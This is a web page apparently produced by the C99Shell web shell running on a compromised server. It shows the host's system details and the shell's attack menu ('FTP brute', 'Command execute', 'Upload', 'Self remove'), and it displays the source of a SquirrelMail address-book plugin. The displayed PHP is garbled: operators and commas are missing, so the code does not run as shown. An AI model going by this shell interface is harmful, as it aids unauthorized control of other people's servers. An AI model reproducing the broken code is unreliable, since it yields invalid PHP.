!C99Shell v. 1.0 pre-release build #13!

Software: Apache/2.0.54 (Unix) mod_perl/1.99_09 Perl/v5.8.0 mod_ssl/2.0.54 OpenSSL/0.9.7l DAV/2 FrontPage/5.0.2.2635 PHP/4.4.0 mod_gzip/2.0.26.1a 

uname -a: Linux snow.he.net 4.4.276-v2-mono-1 #1 SMP Wed Jul 21 11:21:17 PDT 2021 i686 

uid=99(nobody) gid=98(nobody) groups=98(nobody) 

Safe-mode: OFF (not secure)

/usr/local/webmail2/plugins/abook_take/   drwxr-xr-x
Free 318.35 GB of 458.09 GB (69.49%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     functions.php (2.68 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * functions.php
 *
 * Functions for the Address Take plugin
 *
 * @copyright &copy; 1999-2006 The SquirrelMail Project Team
 * @license http://opensource.org/licenses/gpl-license.php GNU Public License
 * @version $Id: functions.php,v 1.12 2006/02/05 11:18:50 jervfors Exp $
 * @package plugins
 * @subpackage abook_take
 */

/** SquirrelMail required files. */
require_once(SM_PATH 'functions/url_parser.php');
require_once(
SM_PATH 'functions/forms.php');

function 
valid_email ($email$verify)
{
    global 
$Email_RegExp_Match;

    if (! 
eregi('^' $Email_RegExp_Match '$'$email))
        return 
false;

    if (! 
$verify)
        return 
true;

    return 
checkdnsrr(substr(strstr($email'@'), 1), 'ANY') ;
}

function 
abook_take_read_string($str)
{
    global 
$abook_found_email$Email_RegExp_Match;

    while (
eregi('(' $Email_RegExp_Match ')'$str$hits))
    {
        
$str substr(strstr($str$hits[0]), strlen($hits[0]));
        if (! isset(
$abook_found_email[$hits[0]]))
        {
            echo 
addHidden('email[]'$hits[0]);
            
$abook_found_email[$hits[0]] = 1;
        }
    }

    return;
}

function 
abook_take_read_array($array)
{
    foreach (
$array as $item)
        
abook_take_read_string($item->getAddress());
}

function 
abook_take_read()
{
    global 
$message;

    echo 
'<br />' addForm(SM_PATH 'plugins/abook_take/take.php') .
         
'<div style="text-align: center;">' "\n";

    if (isset(
$message->rfc822_header->reply_to))
        
abook_take_read_array($message->rfc822_header->reply_to);
    if (isset(
$message->rfc822_header->from))
        
abook_take_read_array($message->rfc822_header->from);
    if (isset(
$message->rfc822_header->cc))
        
abook_take_read_array($message->rfc822_header->cc);
    if (isset(
$message->rfc822_header->to))
        
abook_take_read_array($message->rfc822_header->to);

    echo 
addSubmit(_("Take Address")) .
         
'</div></form>';
}

function 
abook_take_pref()
{
    global 
$username$data_dir$abook_take_verify;

    
$abook_take_verify getPref($data_dir$username'abook_take_verify'false);
}

function 
abook_take_options()
{
    global 
$abook_take_verify;

    echo 
'<tr>' html_tag('td',_("Address Book Take:"),'right','','style="white-space: nowrap;"') . "\n" .  '<td>' .
         
addCheckbox('abook_take_abook_take_verify'$abook_take_verify) .
         
_("Try to verify addresses") . "</td></tr>\n";
}

function 
abook_take_save()
{
    global 
$username$data_dir;

    if (
sqgetGlobalVar('abook_take_abook_take_verify'$abook_take_abook_take_verifySQ_POST))
        
setPref($data_dir$username'abook_take_verify''1');
    else
        
setPref($data_dir$username'abook_take_verify''');
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0224 ]--